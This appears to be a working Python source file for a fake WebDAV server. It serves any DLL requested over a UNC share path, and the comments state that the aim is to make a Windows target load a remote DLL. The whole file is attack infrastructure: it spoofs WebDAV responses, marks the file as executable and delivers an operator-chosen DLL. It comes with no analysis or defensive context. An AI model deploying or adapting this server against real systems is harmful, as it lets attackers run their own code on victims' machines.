Basic WebDAV server

fakewebdav.py

import os, binascii
from flask import Flask, Response, abort

def random_etag():
    return "1000-" + binascii.b2a_hex(os.urandom(6))
    
app = Flask(__name__)
PORT = 80
DLL_ETAG = random_etag()

# 
# Serve a very simple WebDAV server to load remote DLL from share \\IP\X\X.dll
#   The path must be in this form: \\IP\*\*.dll

DLL = 'XXX.dll' # Real file served

EXE_XML = """<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>{}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2018-04-21T02:47:28Z</lp1:creationdate>
<lp1:getcontentlength>{}</lp1:getcontentlength>
<lp1:getlastmodified>Sat, 21 Apr 2018 02:47:28 GMT</lp1:getlastmodified>
<lp1:getetag>"{}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/x-msdos-program</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>""" # path size etag


@app.route('/', defaults={'path': ''}, methods=['OPTIONS'])
@app.route('/<path:path>', methods=['OPTIONS'])
def option(path):
    print("Received OPTION with path '{}'".format(path))
    if path and path.lower().endswith('.dll'):
        resp = Response('', mimetype = "application/x-msdos-program")
    else:
        resp = Response('')
    resp.headers['Allow'] = 'OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,PUT,LOCK,UNLOCK'
    resp.headers['DAV'] = '<http://apache.org/dav/propset/fs/1>'
    resp.headers['MS-Author-Via'] = 'DAV'
    return resp
    
@app.route('/', defaults={'path': ''}, methods=['PROPFIND'])
@app.route('/<path:path>', methods=['PROPFIND'])
def propfind(path):
    print("Received PROPFIND with path '{}'".format(path))
    if path and path.lower().endswith('.dll'):
        xml = EXE_XML.format(path, os.path.getsize(DLL), DLL_ETAG)
        resp = Response(xml, status=207, mimetype='text/xml; charset="utf-8"')
    else:
        abort(404)
    return resp

@app.route('/', defaults={'path': ''}, methods=['GET'])
@app.route('/<path:path>', methods=['GET'])
def get(path):
    print("Received GET with path '{}'".format(path))
    if path and path.lower().endswith('.dll'):
        dllcontent = open(DLL, 'rb').read()
        resp = Response(dllcontent, mimetype='application/x-msdos-program')
        resp.headers['Last-Modified'] = 'Sat, 21 Apr 2018 02:47:28 GMT'
        resp.headers['ETag'] = DLL_ETAG
        resp.headers['Accept-Ranges'] = 'bytes'
    else:
        abort(404)
    return resp

if __name__ == '__main__':
    app.run('0.0.0.0', port=PORT)